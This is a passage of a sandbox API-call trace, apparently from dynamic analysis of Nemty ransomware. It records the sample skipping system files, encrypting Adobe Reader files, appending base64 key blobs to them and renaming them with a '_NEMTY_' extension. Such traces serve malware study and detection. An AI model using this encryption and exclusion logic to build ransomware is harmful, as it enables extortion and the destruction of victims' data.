(lpString1="nppdf32.RUM", lpString2="...") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="windows") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="$RECYCLE.BIN") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="rsa") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="NTDETECT.COM") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="ntldr") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="MSDOS.SYS") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="IO.SYS") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="boot.ini") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="boot.ini") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="AUTOEXEC.BAT") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="ntuser.dat") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="desktop.ini") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="CONFIG.SYS") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="RECYCLER") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="BOOTSECT.BAK") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="bootmgr") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="programdata") returned -1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="appdata") returned 1 [0170.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.558] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0170.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.558] Sleep (dwMilliseconds=0x5) [0170.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19503ef0, dwHighDateTime=0x1d561e8)) [0170.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19503ef0, dwHighDateTime=0x1d561e8)) [0170.568] GetLastError () returned 0x0 [0170.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.568] GetLastError () returned 0x0 [0170.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.568] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.568] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.568] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.569] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.569] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="6lpqcUNXUzgtaaaqqUJd9Pq/2puTy4mQ1NDzJGwZeoAOXTGhoK5L9KX8Zvl+/1R3\r\nw/rYvcARe4AFA9Rrix4ZZnEriORKR9IOtWFDaE2NrRF0Ayfupa5RJpgoUzVu5+Nf\r\nLrLKYKfJ1CYUJD9abqhs0rguwmrWsWXZQ/gC++jqpM2sI6JyBLYg9nchT29uw6iL\r\necPKv/F9l3PPBiSyuJfOY0ROKMkhAzD+AukkfGTpOAOMipu1bSPwHJG1+et/rjNO\r\nq9tUd0bcMTJZSjAt22pnjJtuVcKpw1t/7Rg1zn1CmsXKH6COS7rpPHlpteNRxS7F\r\n+VaC0bRYcbYsivRnV0aqqg==\r\n", pcchString=0x653e91c) returned 1 [0170.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.569] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.569] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.569] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.571] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.571] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.571] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.571] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.572] CloseHandle (hObject=0x254) returned 1 [0170.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.572] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum._nemty_kgobjgd_")) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.573] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="..") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="...") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="windows") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="$RECYCLE.BIN") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="rsa") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="NTDETECT.COM") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="ntldr") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="MSDOS.SYS") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="IO.SYS") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="boot.ini") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="boot.ini") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="AUTOEXEC.BAT") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="ntuser.dat") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="desktop.ini") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="CONFIG.SYS") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="RECYCLER") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="BOOTSECT.BAK") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="bootmgr") returned 1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="programdata") returned -1 [0170.573] lstrcmpiW (lpString1="nppdf32.RUS", lpString2="appdata") returned 1 [0170.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0170.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0170.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0170.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUS", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUS", lpUsedDefaultChar=0x0) returned 11 [0170.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.574] Sleep (dwMilliseconds=0x5) [0170.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1952a050, dwHighDateTime=0x1d561e8)) [0170.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1952a050, dwHighDateTime=0x1d561e8)) [0170.585] GetLastError () returned 0x0 [0170.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.585] GetLastError () returned 0x0 [0170.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.585] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.585] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.586] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.586] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="sdsTubXz4GG70BvaZJvTwARhtGKPjAmbVWoqo7YxZRKkUT83X1FBosR1tb/rrnIe\r\nnm2gHNFjldbUTgF79To4FkKcFxbwqbDQC+6tQa9LeQWEETSjwz9rLwGMacnTCS8m\r\n76Xbho4r83/4BCe5ENr418ve7tu8N86Jy1pTYCHrOczDkZJ/W1lc8i0po52jMYHt\r\naigb278aXXfxN8fMuKHHKy5TdSpk8qPKkAV2GAWu7kh+BT7P2x4ZIS77eBSYKFW4\r\n2ba12irElgE+vfyNtEXdFpUV0zpg06vQV0b6SpPQ1lGZhJhSifUW6E0sEsX3GPgf\r\nxrgOS4rN3s3b76PFcNtAeQ==\r\n", pcchString=0x653e91c) returned 1 [0170.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.586] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.586] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.586] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.586] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.586] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.588] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.588] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.588] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.588] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.588] CloseHandle (hObject=0x254) returned 1 [0170.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.589] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rus._nemty_kgobjgd_")) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.589] HeapFree (in: 